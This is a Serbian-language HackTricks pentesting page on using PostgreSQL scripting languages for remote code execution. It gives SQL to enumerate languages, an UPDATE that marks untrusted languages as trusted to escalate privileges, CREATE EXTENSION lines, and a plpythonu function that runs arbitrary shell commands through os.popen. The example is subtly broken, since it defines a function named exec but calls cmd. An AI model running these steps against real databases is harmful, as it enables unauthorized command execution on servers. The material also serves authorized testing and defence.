RCE sa PostgreSQL jezicima

Reading time: 6 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

PostgreSQL jezici

PostgreSQL baza podataka kojoj imate pristup može imati različite instalirane skriptne jezike koje možete iskoristiti da izvršite proizvoljan kod.

Možete pokrenuti:

sql
\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

Većina skriptnih jezika koje možete instalirati u PostgreSQL ima 2 varijante: pouzdanu i nepouzdanu. Nepouzdana verzija će imati ime koje se završava na "u" i biće verzija koja će vam omogućiti da izvršavate kod i koristite druge zanimljive funkcije. Ovo su jezici koji su zanimljivi ako su instalirani:

  • plpythonu
  • plpython3u
  • plperlu
  • pljavaU
  • plrubyu
  • ... (bilo koji drugi programski jezik koji koristi nesigurnu verziju)

warning

Ako otkrijete da je zanimljiv jezik instaliran ali nepouzdan od strane PostgreSQL (lanpltrusted je false) možete pokušati da ga pouzdite sledećom linijom kako bi PostgreSQL primenio bez ograničenja:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# Da proverite svoja prava nad tabelom pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

caution

Ako ne vidite jezik, možete pokušati da ga učitate sa (morate biti superadmin):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

Napomena da je moguće kompajlirati sigurne verzije kao "nesigurne". Proverite ovo na primer. Tako da uvek vredi pokušati da izvršite kod čak i ako pronađete samo instaliranu pouzdanu verziju.

plpythonu/plpython3u

sql
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

Proverite sledeću stranicu:

PL/pgSQL Password Bruteforce

C

Proverite sledeću stranicu:

RCE with PostgreSQL Extensions

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks